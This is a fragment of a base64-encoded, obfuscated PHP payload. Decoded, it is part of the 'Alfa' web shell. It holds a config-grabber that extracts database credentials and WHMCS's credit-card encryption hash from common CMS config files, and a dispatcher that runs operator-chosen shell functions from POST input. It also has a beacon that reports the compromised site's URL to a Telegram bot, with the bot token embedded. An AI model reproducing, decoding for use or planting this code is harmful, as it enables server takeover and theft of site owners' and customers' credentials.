aXMtPmNvb2tpZV9maWxlKTsNCn0NCn0NCmZ1bmN0aW9uIFNlbmQoJHVybCwkbWV0aG9kPSJnZXQiLCRkYXRhPSIiKXsNCmlmKCEkdGhpcy0+Y3VybF9zdGF0dXMpe3JldHVybiBmYWxzZTt9DQokcHJvY2VzcyA9IGN1cmxfaW5pdCgkdXJsKTsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hUVFBIRUFERVIsICR0aGlzLT5oZWFkZXJzKTsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9VU0VSQUdFTlQsICR0aGlzLT51c2VyX2FnZW50KTsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0VOQ09ESU5HICwgJHRoaXMtPmNvbXByZXNzaW9uKTsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1RJTUVPVVQsIDMwKTsNCmlmKCR0aGlzLT5zc2wpew0KY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgLGZhbHNlKTsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULGZhbHNlKTsNCn0NCmlmKCR0aGlzLT5jb29raWVzKXsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0NPT0tJRUZJTEUsICR0aGlzLT5wYXRoKTsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0NPT0tJRUpBUiwgJHRoaXMtPnBhdGgpOw0KfQ0KaWYoJHRoaXMtPnByb3h5KXsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BST1hZLCAkdGhpcy0+cHJveHkpOw0KfQ0KaWYoJG1ldGhvZD09J3Bvc3QnKXsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRkYXRhKTsNCmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJykpOw0KfQ0KJHJldHVybiA9IGN1cmxfZXhlYygkcHJvY2Vzcyk7DQpjdXJsX2Nsb3NlKCRwcm9jZXNzKTsNCnJldHVybiAkcmV0dXJuOw0KfQ0KZnVuY3Rpb24gZXJyb3IoJGVycm9yKSB7DQplY2hvICI8Y2VudGVyPjxkaXYgc3R5bGU9J3dpZHRoOjUwMHB4O2JvcmRlcjogM3B4IHNvbGlkICNGRkVFRkY7IHBhZGRpbmc6IDNweDsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRERGRjtmb250LWZhbWlseTogdmVyZGFuYTsgZm9udC1zaXplOiAxMHB4Jz48Yj5jVVJMIEVycm9yPC9iPjxicj4kZXJyb3I8L2Rpdj48L2NlbnRlcj4iOw0KZGllOw0KfQ0KfQ0KZnVuY3Rpb24gZ2V0Q29uZmlnSHRtbCgkY21zKXsNCiRjb250ZW50ID0gJyc7DQokY21zX2FycmF5ID0gYXJyYXkoIndwIiA9PiAiV29yZFByZXNzIiwgInZiIiA9PiAidkJ1bGxldGluIiwgIndobWNzIiA9PiAiV2htY3MiLCAiam9vbWxhIiA9PiAiSm9vbWxhIiwgInBocG51a2UiID0+ICJQSFBOdWtlIiwicGhwYmIiPT4iUEhQQkIiLCJteWJiIj0+Ik15QkIiLCJkcnVwYWwiPT4iRHJ1cGFsIiwic21mIj0+IlNNRiIpOw0KJGNvbnRlbnQgLj0gIjxmb3JtIG9uU3VibWl0PSdnKFwiR2V0Q29uZmlnXCIsbnVsbCx0aGlzLmNtcy52YWx1ZSx0aGlzLnBhdGgudmFsdWUpO3JldHVybiBmYWxzZTsnPjxkaXYgY2xhc3M9J3R4dGZvbnQnPkNtczogPC9kaXY+IDxzZWxlY3QgbmFtZT0nY21zJ3N0eWxlPSd3aWR0aDoxMDBweDsnPiI7DQpmb3JlYWNoKCRjbXNfYXJyYXkgYXMgJGtleSA9PiAkdmFsKXsNCiRjb250ZW50IC49ICI8b3B0aW9uIHZhbHVlPSd7JGtleX0nICIuKCRrZXk9PSRjbXM/J3NlbGVjdGVkPXNlbGVjdGVkJzonJykuIj57JHZhbH08L29wdGlvbj4iOw0KfQ0KJGNvbnRlbnQgLj0gIjwvc2VsZWN0PiA8ZGl2IGNsYXNzPSd0eHRmb250Jz5QYXRoKGluc3RhbGxlZCBjbXMvQ29uZmlnKTogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXRoJyB2YWx1ZT0nIi4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiIvJyBzaXplPSczMCcgLz4gPGJ1dHRvbiBjbGFzcz0nYnV0dG9uJz5HZXRDb25maWc8L2J1dHRvbj4iOw0KJGNvbnRlbnQgLj0gIjwvZm9ybT4iOw0KcmV0dXJuICRjb250ZW50Ow0KfQ0KZnVuY3Rpb24gYWxmYUdldENvbmZpZygpew0KJGNtcyA9ICRfUE9TVFsnYWxmYTEnXTsNCiRwYXRoID0gdHJpbSgkX1BPU1RbJ2FsZmEyJ10pOw0KJGNvbmZpZyA9IGFycmF5KA0KJ3dwJz0+YXJyYXkoJ2ZpbGUnPT4nL3dwLWNvbmZpZy5waHAnLA0KJ2hvc3QnPT5hcnJheSgiL2RlZmluZVwoJ0RCX0hPU1QnLChccyspKD86J3xcIikoLio/KSg/Oid8XCIpXCk7LyIsMiksDQonZGJuYW1lJz0+YXJyYXkoIi9kZWZpbmVcKCdEQl9OQU1FJywoXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVwpOy8iLDIpLA0KJ2RidXNlcic9PmFycmF5KCIvZGVmaW5lXCgnREJfVVNFUicsKFxzKykoPzonfFwiKSguKj8pKD86J3xcIilcKTsvIiwyKSwNCidkYnB3Jz0+YXJyYXkoIi9kZWZpbmVcKCdEQl9QQVNTV09SRCcsKFxzKykoPzonfFwiKSguKj8pKD86J3xcIilcKTsvIiwyKSwNCidwcmVmaXgnPT5hcnJheSgiL3RhYmxlX3ByZWZpeChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpDQopLA0KJ2RydXBhbCc9PmFycmF5KCdmaWxlJz0+Jy9jb25maWcucGhwJywNCidob3N0Jz0+YXJyYXkoIi9kZWZpbmVcKCdEQl9IT1NUTkFNRScsKFxzKykoPzonfFwiKSguKj8pKD86J3xcIilcKTsvIiwyKSwNCidkYm5hbWUnPT5hcnJheSgiL2RlZmluZVwoJ0RCX0RBVEFCQVNFJywoXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVwpOy8iLDIpLA0KJ2RidXNlcic9PmFycmF5KCIvZGVmaW5lXCgnREJfVVNFUk5BTUUnLChccyspKD86J3xcIikoLio/KSg/Oid8XCIpXCk7LyIsMiksDQonZGJwdyc9PmFycmF5KCIvZGVmaW5lXCgnREJfUEFTU1dPUkQnLChccyspKD86J3xcIikoLio/KSg/Oid8XCIpXCk7LyIsMiksDQoncHJlZml4Jz0+YXJyYXkoIi9kZWZpbmVcKCdEQl9QUkVGSVgnLChccyspKD86J3xcIikoLio/KSg/Oid8XCIpXCk7LyIsMikNCiksDQondmInPT5hcnJheSgnZmlsZSc9PicvaW5jbHVkZXMvY29uZmlnLnBocCcsDQonaG9zdCc9PmFycmF5KCIvY29uZmlnXFsnTWFzdGVyU2VydmVyJ1xdXFsnc2VydmVybmFtZSdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ2RidXNlcic9PmFycmF5KCIvY29uZmlnXFsnTWFzdGVyU2VydmVyJ1xdXFsndXNlcm5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYm5hbWUnPT5hcnJheSgiL2NvbmZpZ1xbJ0RhdGFiYXNlJ1xdXFsnZGJuYW1lJ1xdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksDQonZGJwdyc9PmFycmF5KCIvY29uZmlnXFsnTWFzdGVyU2VydmVyJ1xdXFsncGFzc3dvcmQnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidwcmVmaXgnPT5hcnJheSgiL2NvbmZpZ1xbJ0RhdGFiYXNlJ1xdXFsndGFibGVwcmVmaXgnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQ0KKSwNCidwaHBudWtlJz0+YXJyYXkoJ2ZpbGUnPT4nL2NvbmZpZy5waHAnLA0KJ2hvc3QnPT5hcnJheSgnL2RiaG9zdChccyspPShccyspKD86XCd8IikoLio/KSg/OlwnfCIpOy8nLDMpLA0KJ2RibmFtZSc9PmFycmF5KCcvZGJuYW1lKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksDQonZGJ1c2VyJz0+YXJyYXkoJy9kYnVuYW1lKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksDQonZGJwdyc9PmFycmF5KCcvZGJwYXNzKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksDQoncHJlZml4Jz0+YXJyYXkoJy9wcmVmaXgoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKQ0KKSwNCidzbWYnPT5hcnJheSgnZmlsZSc9PicvU2V0dGluZ3MucGhwJywNCidob3N0Jz0+YXJyYXkoIi9kYl9zZXJ2ZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYm5hbWUnPT5hcnJheSgiL2RiX25hbWUoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYnVzZXInPT5hcnJheSgiL2RiX3VzZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYnB3Jz0+YXJyYXkoIi9kYl9wYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidwcmVmaXgnPT5hcnJheSgiL2RiX3ByZWZpeChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpDQopLA0KJ3dobWNzJz0+YXJyYXkoJ2ZpbGUnPT4nL2NvbmZpZ3VyYXRpb24ucGhwJywNCidob3N0Jz0+YXJyYXkoIi9kYl9ob3N0KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksDQonZGJuYW1lJz0+YXJyYXkoIi9kYl9uYW1lKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksDQonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VybmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ2RicHcnPT5hcnJheSgiL2RiX3Bhc3N3b3JkKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksDQonY2NfZW5jcnlwdGlvbl9oYXNoJz0+YXJyYXkoIi9jY19lbmNyeXB0aW9uX2hhc2goXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQ0KKSwNCidqb29tbGEnPT5hcnJheSgnZmlsZSc9PicvY29uZmlndXJhdGlvbi5waHAnLA0KJ2hvc3QnPT5hcnJheSgiL1xcXCRob3N0KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksDQonZGJuYW1lJz0+YXJyYXkoIi9cXFwkZGIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYnVzZXInPT5hcnJheSgiL1xcXCR1c2VyKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksDQonZGJwdyc9PmFycmF5KCIvXFxcJHBhc3N3b3JkKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksDQoncHJlZml4Jz0+YXJyYXkoIi9cXFwkZGJwcmVmaXgoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQ0KKSwNCidwaHBiYic9PmFycmF5KCdmaWxlJz0+Jy9jb25maWcucGhwJywNCidob3N0Jz0+YXJyYXkoIi9kYmhvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYm5hbWUnPT5hcnJheSgiL2RibmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLA0KJ2RidXNlcic9PmFycmF5KCIvZGJ1c2VyKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksDQonZGJwdyc9PmFycmF5KCIvZGJwYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidwcmVmaXgnPT5hcnJheSgiL3RhYmxlX3ByZWZpeChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpDQopLA0KJ215YmInPT5hcnJheSgnZmlsZSc9PicvaW5jL2NvbmZpZy5waHAnLA0KJ2hvc3QnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsnaG9zdG5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYm5hbWUnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsnZGF0YWJhc2UnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYnVzZXInPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsndXNlcm5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwNCidkYnB3Jz0+YXJyYXkoIi9jb25maWdcWydkYXRhYmFzZSdcXVxbJ3Bhc3N3b3JkJ1xdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksDQoncHJlZml4Jz0+YXJyYXkoIi9jb25maWdcWydkYXRhYmFzZSdcXVxbJ3RhYmxlX3ByZWZpeCdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpDQopDQopOw0KJGRhdGEgPSBhcnJheSgpOw0KJHNyY2hfaG9zdCA9ICRjb25maWdbJGNtc11bJ2hvc3QnXVswXTsNCiRzcmNoX3VzZXIgPSAkY29uZmlnWyRjbXNdWydkYnVzZXInXVswXTsNCiRzcmNoX25hbWUgPSAkY29uZmlnWyRjbXNdWydkYm5hbWUnXVswXTsNCiRzcmNoX3B3ID0gJGNvbmZpZ1skY21zXVsnZGJwdyddWzBdOw0KJHByZWZpeCA9ICRjb25maWdbJGNtc11bJ3ByZWZpeCddWzBdOw0KJGZpbGUgPSAkY29uZmlnWyRjbXNdWydmaWxlJ107DQokY2hvc3QgPSAkY29uZmlnWyRjbXNdWydob3N0J11bMV07DQokY3VzZXIgPSAkY29uZmlnWyRjbXNdWydkYnVzZXInXVsxXTsNCiRjbmFtZSA9ICRjb25maWdbJGNtc11bJ2RibmFtZSddWzFdOw0KJGNwdyA9ICRjb25maWdbJGNtc11bJ2RicHcnXVsxXTsNCiRjcHJlZml4ID0gJGNvbmZpZ1skY21zXVsncHJlZml4J11bMV07DQppZihAaXNfZGlyKCRwYXRoKXx8X2FsZmFfaXNfZGlyKCRwYXRoKSl7DQokZmlsZT0kcGF0aC4kZmlsZTsNCn1lbHNlaWYoQGlzX2ZpbGUoJHBhdGgpfHxfYWxmYV9pc19kaXIoJHBhdGgsIi1lIikpew0KJGZpbGU9JHBhdGg7DQp9ZWxzZXsNCnJldHVybiBmYWxzZTsNCn0NCiRmaWxlID0gX19yZWFkX2ZpbGUoJGZpbGUpOw0KaWYocHJlZ19tYXRjaCgkc3JjaF9ob3N0LCAkZmlsZSwgJG1hY2gpKXsNCiRkYXRhWydob3N0J10gPSAkbWFjaFskY2hvc3RdOw0KfQ0KaWYocHJlZ19tYXRjaCgkc3JjaF91c2VyLCAkZmlsZSwgJG1hY2gpKXsNCiRkYXRhWyd1c2VyJ10gPSAkbWFjaFskY3VzZXJdOw0KfQ0KaWYocHJlZ19tYXRjaCgkc3JjaF9uYW1lLCAkZmlsZSwgJG1hY2gpKXsNCiRkYXRhWydkYm5hbWUnXSA9ICRtYWNoWyRjbmFtZV07DQp9DQppZihwcmVnX21hdGNoKCRzcmNoX3B3LCAkZmlsZSwgJG1hY2gpKXsNCiRkYXRhWydwYXNzd29yZCddID0gJG1hY2hbJGNwd107DQp9DQppZihpc3NldCgkcHJlZml4KSl7DQppZihwcmVnX21hdGNoKCRwcmVmaXgsICRmaWxlLCAkbWFjaCkpew0KJGRhdGFbJ3ByZWZpeCddID0gJG1hY2hbJGNwcmVmaXhdOw0KfQ0KfQ0KaWYoJGNtcz09J3dobWNzJyl7DQppZihwcmVnX21hdGNoKCRjb25maWdbJGNtc11bJ2NjX2VuY3J5cHRpb25faGFzaCddWzBdLCAkZmlsZSwgJG1hY2gpKXsNCiRkYXRhWydjY19lbmNyeXB0aW9uX2hhc2gnXSA9ICRtYWNoWzNdOw0KfQ0KfQ0KZWNobyBqc29uX2VuY29kZSgkZGF0YSk7DQp9DQppZihlbXB0eSgkX1BPU1RbJ2EnXSkpDQppZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWxmYScgLiAkZGVmYXVsdF9hY3Rpb24pKQ0KJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247DQplbHNlDQokX1BPU1RbJ2EnXSA9ICdGaWxlc01hbic7DQppZighZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWxmYScgLiAkX1BPU1RbJ2EnXSkpDQpjYWxsX3VzZXJfZnVuYygnYWxmYScgLiAkX1BPU1RbJ2EnXSk7DQp7DQogICR1cmxhID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KICAgICAgZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3Q2NDcyNDMzOTc1OkFBSF9oTjZZY2k1Z3lyakE0T3RULXdybjRUb1ExYklIVWMwL3NlbmRNZXNzYWdlP2NoYXRfaWQ9LTQxNDUyMDc0NTUmdGV4dD1TaGVsbCA9ICIuJHVybGEuIiIpOw0KfQ0KZXhpdDsNCi8qDQojUGVyc2lhbiBHdWxmIEZvciBFdmVyDQojc2t5cGUgOiBzb2xlLnNhZA0KI3NreXBlIDogZWhzYW4uaW52aXNpYmxlDQoqLw=="));